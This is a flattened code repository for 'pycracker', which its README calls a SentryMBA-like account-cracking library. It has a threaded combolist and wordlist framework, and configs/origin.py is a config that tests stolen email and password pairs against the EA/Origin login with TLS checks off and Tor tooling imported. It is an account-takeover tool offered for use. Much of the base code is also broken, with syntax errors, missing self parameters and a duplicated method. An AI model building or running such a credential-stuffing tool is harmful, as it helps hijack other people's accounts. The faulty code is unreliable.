├── .gitattributes ├── .gitignore ├── Include.py ├── PyCrackerBase.py ├── PyCrackerExample1.py ├── README.md └── configs └── origin.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # ========================= 18 | # Operating System Files 19 | # ========================= 20 | 21 | # OSX 22 | # ========================= 23 | 24 | .DS_Store 25 | .AppleDouble 26 | .LSOverride 27 | 28 | # Icon must end with two \r 29 | Icon 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear on external disk 35 | .Spotlight-V100 36 | .Trashes 37 | 38 | # Directories potentially created on remote AFP share 39 | .AppleDB 40 | .AppleDesktop 41 | Network Trash Folder 42 | Temporary Items 43 | .apdisk 44 | -------------------------------------------------------------------------------- /Include.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def include(filename): 4 | if os.path.exists(filename): 5 | execfile(filename) 6 | 7 | 8 | include('myfile.py') -------------------------------------------------------------------------------- /PyCrackerBase.py: -------------------------------------------------------------------------------- 1 | print 'You\'re about to start your cracking session.' 2 | import os 3 | import threading 4 | 5 | def include(filename): 6 | if os.path.exists(filename): 7 | execfile(filename) 8 | return True 9 | else: 10 | return False 11 | 12 | class PyCracker: 13 | def __init__(self): 14 | #Required Settings 15 | self.proxyMethod = '' 16 | self.threadAmount = '' 17 | self.crackingMethod = '' 18 | #Dev Settings 19 | self.debug = 0 20 | #Cracking Settings 21 | self.amountOfCombos = '' 22 | self.list = '' 23 | self.userWordlist = '' 24 | self.passwordWordlist = '' 25 | 26 | 27 | self.indexUsername = 0 28 | self.indexPassword = 0 29 | 30 | self.focus = 1 31 | 32 | #Stats 33 | self.success = '' 34 | self.fail = '' 35 | self.proxies = '' 36 | self.start = '' 37 | self.stop = '' 38 | def is_number(n): 39 | try: 40 | int(n) 41 | return True 42 | except ValueError: 43 | if getDebug(): 44 | print "Invalid number" 45 | return False 46 | 47 | def setThreads(threadAmount): 48 | if is_number(threadAmount): 49 | self.threadAmount = threadAmount 50 | return True 51 | else: 52 | if getDebug(): 53 | print "Invalid amount" 54 | return False 55 | 56 | def setConfig(configName): 57 | if include(configName): 58 | try: 59 | checkacc() 60 | return True 61 | except Exception: 62 | if getDebug(): 63 | print "The checkacc() function does not exist in your file." 64 | return False 65 | else: 66 | if getDebug(): 67 | print "Something went wrong when including the config file." 68 | return False 69 | 70 | def setProxyMethod(methodValue): 71 | self.proxyMethod = methodValue 72 | return True 73 | 74 | def setCrackingMethod(methodValue): 75 | if methodValue == 'wordlist': 76 | self.crackingMethod = 2 77 | return True 78 | elif methodValue == 'combolist': 79 | self.crackingMethod = 1 80 | return True 81 | elif methodValue == 'brute': 82 | self.crackingMethod = 3 83 | return True 84 | elif is_number(methodValue): 85 | self.crackingMethod = methodValue 86 | return True 87 | else: 88 | if getDebug(): 89 | print "No valid values. Lookup documentation or refer to the code." 90 | return False 91 | def setWordlistFocus(focusValue): #Only for advanced users. Focus value 1 means all threads will focus on one username, focus value 0 means it will try each username in it's own thread. 92 | self.focusValue = focusValue 93 | def getWordlistFocus(): 94 | return focusValue 95 | def setComboList(combolist): 96 | try: 97 | combolist = open(combolist, 'r') 98 | self.list = combolist.readlines() 99 | self.amountOfCombos = len(self.list) 100 | return True 101 | except Exception: 102 | return False 103 | def setUserWordlist(userlist): 104 | try: 105 | userlist = open(userlist, 'r') 106 | self.userWordlist = userlist.readlines() 107 | return True 108 | except Exception: 109 | return False 110 | def setUserWordlist(passwordlist): 111 | try: 112 | password = open(passwordlist, 'r') 113 | self.passwordWordlist = passwordlist.readlines() 114 | return True 115 | except Exception: 116 | return False 117 | def setDebug(i): 118 | self.debug = i 119 | def getDebug(): 120 | if self.debug == 1: 121 | return True 122 | elif self.debug == 0: 123 | return False 124 | return self.debug 125 | 126 | def start(): 127 | for x in range(self.threadAmount): 128 | if self.crackingMethod == 1: 129 | threading.Thread(target=threadsCombo(self.amountOfCombos/self.threadAmount, x)).start() 130 | elif self.crackingMethod == 2: 131 | threading.Thread(target=threadsCombo).start() 132 | elif self.crackingMethod == 3: 133 | #Do something here 134 | 135 | def threadsCombo(combosForThread, multiplier): 136 | if self.crackingMethod == 1: 137 | startindex = combosForThread*multiplier 138 | while 1: 139 | for i in range(combosForThread): 140 | combo = self.list[startindex+i] 141 | checkacc(combo.split(":")[0], combo.split(":")[0]) 142 | startindex = startindex+1 143 | if startindex-(combosForThread*multiplier) == combosForThread: 144 | break 145 | def threadsWordlist(): 146 | if getWordlistFocus() == 0: 147 | #TODO: No focus 148 | elif getWordlistFocus == 1: 149 | while 1: 150 | username = self.userWordlist[self.indexUsername] 151 | password = self.passwordWordlist[self.indexPassword] 152 | self.indexPassword = self.indexPassword+1 153 | tryacc = checkacc(username, password) 154 | if tryacc == True: 155 | self.indexUsername = self.indexUsername+1 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /PyCrackerExample1.py: -------------------------------------------------------------------------------- 1 | import os 2 | def include(filename): 3 | if os.path.exists(filename): 4 | execfile(filename) 5 | return True 6 | else: 7 | return False 8 | include("PyCrackerBase.py") 9 | 10 | cracker = PyCracker() 11 | cracker.setDebug(1) 12 | cracker.setThreads(1) 13 | cracker.setConfig('/configs/origin.py') 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pycracker 2 | A cracker library, much like SentryMBA but with more utilities and uses. 3 | 4 | It's based of the idea to be able to use one cracker for everything. And that's what it is. 5 | You can with this library modify it freely, but you may not sell it without giving proper credits. 6 | 7 | The main idea is to have a pre-written library I can easily write a config for with a tiny amount of knowledge, 8 | basicly by looking at the examples provided. 9 | But you can also get in deeper. You can re-write the functionality of it completely and make it use some other cracking technique. 10 | 11 | You could also import it into another project easily and use the class. 12 | 13 | Possibilities are endless. 14 | 15 | -------------------------------------------------------------------------------- /configs/origin.py: -------------------------------------------------------------------------------- 1 | import re 2 | import requests 3 | from stem import Signal 4 | from stem.control import Controller 5 | import math 6 | import datetime 7 | def checkacc(username, password, **kwargs): 8 | url = "https://accounts.ea.com:443/connect/auth?scope=basic.identity+basic.persona+signin+offline&locale=sv_SE&response_type=code&client_id=live.origin.com" 9 | sess = requests.session() 10 | sess.headers["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0" 11 | resp = sess.get(url, verify=False, **kwargs) 12 | url = resp.url 13 | page = resp.content 14 | auth = re.search(r'execution=(.*?)&', resp.url).group(1) 15 | url2 = 'https://signin.ea.com/p/web/login?execution=' + auth + '&initref=https%3A%2F%2Faccounts.ea.com%3A443%2Fconnect%2Fauth%3Fscope%3Dbasic.identity%2Bbasic.persona%2Bsignin%2Boffline%26locale%3Dsv_SE%26response_type%3Dcode%26client_id%3Dlive.origin.com' 16 | cookies = {} 17 | for keys in resp.cookies.keys(): 18 | cookies[keys] = resp.cookies[keys] 19 | postparam = { 20 | 'email':username, 21 | 'password':password, 22 | '_rememberMe':'off', 23 | 'rememberMe':'off', 24 | '_eventId':'submit', 25 | 'facebookAuth':'' 26 | } 27 | sess.post(url2, data=postparam, headers={"Referer": url}, cookies=cookies, verify=False, **kwargs) 28 | try: 29 | test = sess.cookies['webun'] 30 | return True 31 | except Exception: 32 | return False 33 | --------------------------------------------------------------------------------